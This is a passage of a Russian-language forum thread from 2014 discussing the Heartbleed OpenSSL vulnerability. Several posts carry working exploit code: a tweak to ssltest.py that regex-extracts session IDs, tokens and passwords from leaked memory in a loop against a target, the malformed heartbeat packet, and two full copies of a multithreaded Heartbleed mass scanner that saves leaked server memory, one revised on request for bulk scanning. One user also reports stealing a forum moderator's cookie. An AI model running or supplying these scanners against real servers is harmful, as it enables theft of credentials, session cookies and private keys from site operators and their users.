Старый 09.04.2014, 00:03   #11
recfrf
 
Регистрация: 29.07.2010
Сообщений: 40
Репутация: 1
По умолчанию

Цитата:
Сообщение от nickcerdito Посмотреть сообщение
Нашел вот такой https://gist.github.com/ixs/10116537
можно так поменять например
Код:
 
60 def hexdump(s):
61   r = r"((sid|token|sess|pass|basic|oauth).*)"
62   m = re.findall(r,s)
63   print m
64   sys.exit()

~$ while true; do ./ssltest.py company.com >> result.txt; done
recfrf вне форума   Ответить с цитированием
Старый 09.04.2014, 10:15   #12
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

heartbleed masstest, но он однопоточный
https://github.com/musalbas/heartbleed-masstest
nickcerdito вне форума   Ответить с цитированием
Старый 09.04.2014, 14:19   #13
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Вообще прелестно.
1) Запилили новую фичу, которая мало кому нужна.
2) Коммит утвердил один человек.
3) Включили ее по дефолту для всех.
4) ???
5) Profit.
SynQ вне форума   Ответить с цитированием
Старый 09.04.2014, 23:31   #14
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Код:
$ python ssltest.py rdot.org
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0301, length = 48
 ... received message: type = 22, ver = 0301, length = 1316
 ... received message: type = 22, ver = 0301, length = 525
 ... received message: type = 22, ver = 0301, length = 4
Sending heartbeat request...
 ... received message: type = 21, ver = 0302, length = 2
Received alert:
  0000: 02 46                                            .F

Server returned error, likely not vulnerable
рдот в безопасности
На самом деле скорее всего был не в безопасности, но этого мы наверное уже не узнаем:-) Просто тест ssltest.py чучуть упрощен (не реагирует на версию отдаваемую сервером) и поэтому случается false negative. Я на его основе вчера писал себе автотест в сканилку, пришлось немного править)

Последний раз редактировалось dharrya; 09.04.2014 в 23:58..
dharrya вне форума   Ответить с цитированием
Старый 10.04.2014, 18:52   #15
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Попытался понять из-за чего там ошибка.
Ссылка на патч: http://git.openssl.org/gitweb/?p=ope...diff;h=96db902

Похоже, что сервер, должен отвечать (как и клиент) на запросы вроде пинга. Клиент и сервер обмениваются сообщениями формата:
Код:
[type (1 byte)][length (2 byte)][payload ...n-length bytes...]
Тогда, если серверу отправить запрос, где length=0xffff а payload пустой, то по идее
Код:
1497: memcpy(bp, pl, payload);
должен скопировать в буфер ответа bp данные за пределами короткого запроса-буфера pl

Но не совсем понятен участок хеартбита в эксплоите http://samiux.blogspot.ru/2014/04/ex...2014-0160.html:

Код:
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
ont вне форума   Ответить с цитированием
Старый 10.04.2014, 22:26   #16
Panic
 
Регистрация: 24.09.2010
Сообщений: 26
Репутация: 1
По умолчанию

Цитата:
Сообщение от ont Посмотреть сообщение
Но не совсем понятен участок хеартбита в эксплоите http://samiux.blogspot.ru/2014/04/ex...2014-0160.html:

Код:
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
https://gist.github.com/Daenks/10278379 Тут форк скрипта:
Код:
hb = struct.pack(">BHHBH",
        24,     # TLS package kind - 24 == Heartbeat
        770,    # TLS Version (1.1)
        3,      # Length
        1,      # Heartbeat type (0x01 == Request, 0x02 == Response)
        65535   # Payload length, control how much memory we can snarf on the server side. (exploit here)
    )
Panic вне форума   Ответить с цитированием
Старый 12.04.2014, 01:48   #17
nia
 
Регистрация: 12.04.2014
Сообщений: 1
Репутация: 0
По умолчанию

я так понял бага дергает инфу не для конкретного сайта, а со всех сайтов на айпи.
вчера в результате тестов удалось получить куку модератора форума вбуллетин, вчера же там создали тему про баг, сегодня багу прикрыли, а модер сменил пароль.
nia вне форума   Ответить с цитированием
Старый 12.04.2014, 11:58   #18
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

https://www.cloudflarechallenge.com/heartbleed
у клаудфлейра всё-таки слили их тестовый приватный ключ.
скорее всего это вышло всвязи с ребутом их сервера, но, тем не менее, теперь есть точное доказательство того, что все SSL сертификаты нужно перевыпускать.
12309 вне форума   Ответить с цитированием
Старый 13.04.2014, 03:39   #19
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

Код:
#!/usr/bin/env python
import socket, ssl, pprint
import Queue
import pickle
import threading,time,sys,select,struct,urllib,time,re,os
hello_packet = '16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000'.decode('hex')
hb_packet = '1803020003014000'.decode('hex')
def password_parse(the_response):
    the_response_nl= the_response.split(' ')
    #Interesting Paramaters found:
    for each_item in the_response_nl:
        if "=" in each_item or "password" in each_item:
            print each_item


def recv_timeout(the_socket,timeout=2):
    #make socket non blocking
    the_socket.setblocking(0)

    #total data partwise in an array
    total_data=[];
    data='';

    #beginning time
    begin=time.time()
    while 1:
        if total_data and time.time()-begin > timeout:
            break

        elif time.time()-begin > timeout*2:
            break

        try:
            data = the_socket.recv(8192)
            if data:
                total_data.append(data)
                #change the beginning time for measurement
                begin=time.time()
            else:
                #sleep for sometime to indicate a gap
                time.sleep(0.1)
        except:
            pass

    return ''.join(total_data)


def tls(target_addr):

    try:

        server_port =443
        target_addr = target_addr.strip()

        if ":" in target_addr:
            server_port = target_addr.split(":")[1]
            target_addr = target_addr.split(":")[0]

        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sys.stdout.flush()
        print >>sys.stderr, '\n[+]Scanning  server %s' % target_addr , "\n"
        print "##############################################################"
        sys.stdout.flush()
        client_socket .connect((target_addr, int(server_port)))
        #'Sending Hello request...'
        client_socket.send(hello_packet)
        recv_timeout(client_socket,3)
        print 'Sending heartbeat request...'
        client_socket.send(hb_packet)
        data = recv_timeout(client_socket,3)
        if len(data) > 7 :
            print "[-] ",target_addr,' Vulnerable Server ...\n'
            file = open("save.txt", 'a')
            pickle.dump(target_addr, file)
            file.close()
            if os.path.exists(target_addr+".txt"):
                file_write = open(target_addr+".txt", 'a+')
            else:
                file_write = file(target_addr+".txt", "w")
            file_write.write(data)
        else :
            print "[-] ",target_addr,' Not Vulnerable  ...'
    except Exception as e:
        print e,target_addr,server_port



class BinaryGrab(threading.Thread):
    """Threaded Url Grab"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def run(self):
        while True:
            url = self.queue.get()
            tls(url)
            #Scan targets here

            #signals to queue job is done
            self.queue.task_done()



start = time.time()

def manyurls(server_addr):
    querange = len(server_addr)
    queue = Queue.Queue()

    #spawn a pool of threads, and pass them queue instance
    for i in range(int(querange)):
        t = BinaryGrab(queue)
        t.setDaemon(True)
        t.start()

    #populate queue with data
    for target in server_addr:

        queue.put(target)

    #wait on the queue until everything has been processed
    queue.join()
if __name__ == "__main__":
    # Kepp all ur targets in scan.txt in the same folder.
    server_addr = []
    print "[+] cve-2014-0160 Mass Scanner by Rahul Sasi (fb1h2s)"
    read_f = open("scan.txt", "r")
    server_addr = read_f.readlines()
    #or provide names here
    #server_addr = ['yahoo.com']
    manyurls(server_addr)
Может ктото переделать скрипт чтобы он чекал к примеру не сразу 3000 из файла а хотябы по 10 штук брал и чекал?

Последний раз редактировалось z0mbie; 13.04.2014 в 03:41..
z0mbie вне форума   Ответить с цитированием
Старый 13.04.2014, 12:02   #20
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

z0mbie, вот:
Код:
#!/usr/bin/env python
import socket, ssl, pprint
import Queue
import pickle
import threading,time,sys,select,struct,urllib,time,re,os
from optparse import OptionParser

options = OptionParser(usage='%prog [options]', description='cve-2014-0160 Mass Scanner by Rahul Sasi (fb1h2s)')
options.add_option('-f', '--file', type='string', default='scan.txt', help='File with hosts for scan')
options.add_option('-t', '--threads', type='int', default=10, help='Threads count')

hello_packet = '16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000'.decode('hex')
hb_packet = '1803020003014000'.decode('hex')


def password_parse(the_response):
    the_response_nl= the_response.split(' ')
    #Interesting Paramaters found:
    for each_item in the_response_nl:
        if "=" in each_item or "password" in each_item:
            print each_item


def recv_timeout(the_socket,timeout=2):
    #make socket non blocking
    the_socket.setblocking(0)

    #total data partwise in an array
    total_data=[];
    data='';

    #beginning time
    begin=time.time()
    while 1:
        if total_data and time.time()-begin > timeout:
            break

        elif time.time()-begin > timeout*2:
            break

        try:
            data = the_socket.recv(8192)
            if data:
                total_data.append(data)
                #change the beginning time for measurement
                begin=time.time()
            else:
                #sleep for sometime to indicate a gap
                time.sleep(0.1)
        except:
            pass

    return ''.join(total_data)


def tls(target_addr):

    try:

        server_port =443
        target_addr = target_addr.strip()

        if ":" in target_addr:
            server_port = target_addr.split(":")[1]
            target_addr = target_addr.split(":")[0]

        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sys.stdout.flush()
        print >>sys.stderr, '\n[+]Scanning  server %s' % target_addr , "\n"
        print "##############################################################"
        sys.stdout.flush()
        client_socket .connect((target_addr, int(server_port)))
        #'Sending Hello request...'
        client_socket.send(hello_packet)
        recv_timeout(client_socket,3)
        print 'Sending heartbeat request...'
        client_socket.send(hb_packet)
        data = recv_timeout(client_socket,3)
        if len(data) > 7 :
            print "[-] ",target_addr,' Vulnerable Server ...\n'
            save_file = open("save.txt", 'a')
            pickle.dump(target_addr, save_file)
            save_file.close()
            if os.path.exists(target_addr+".txt"):
                file_write = open(target_addr+".txt", 'a+')
            else:
                file_write = file(target_addr+".txt", "w")
            file_write.write(data)
        else :
            print "[-] ",target_addr,' Not Vulnerable  ...'
    except Exception as e:
        print e,target_addr,server_port



class BinaryGrab(threading.Thread):
    """Threaded Url Grab"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def run(self):
        while True:
            url = self.queue.get()
            tls(url)
            #Scan targets here

            #signals to queue job is done
            self.queue.task_done()



start = time.time()

def manyurls(server_addr, threads_count):
    queue = Queue.Queue()

    #spawn a pool of threads, and pass them queue instance
    for i in range(threads_count):
        t = BinaryGrab(queue)
        t.setDaemon(True)
        t.start()

    #populate queue with data
    for target in server_addr:
        queue.put(target)

    #wait on the queue until everything has been processed
    queue.join()

    
if __name__ == "__main__":
    opts, args = options.parse_args()
    print "[+] cve-2014-0160 Mass Scanner by Rahul Sasi (fb1h2s)"
    read_f = open(opts.file, "r")
    server_addr = read_f.readlines()
    #or provide names here
    #server_addr = ['yahoo.com']
    manyurls(server_addr, opts.threads)
ключик -t задает кол-во потоков (по умолчанию 10), -f файл со списком сайтов. Но по хорошему скрипт нужно переписывать, как минимум он не учитывает сервера которые не могут работать с TLS 1.1 только 1.0, но все равно уязвимы (я таких встречал, их совсем не много но они есть), им достаточно отправлять heartbeat запрос с указанием правильной версии.

Последний раз редактировалось dharrya; 13.04.2014 в 12:43..
dharrya вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot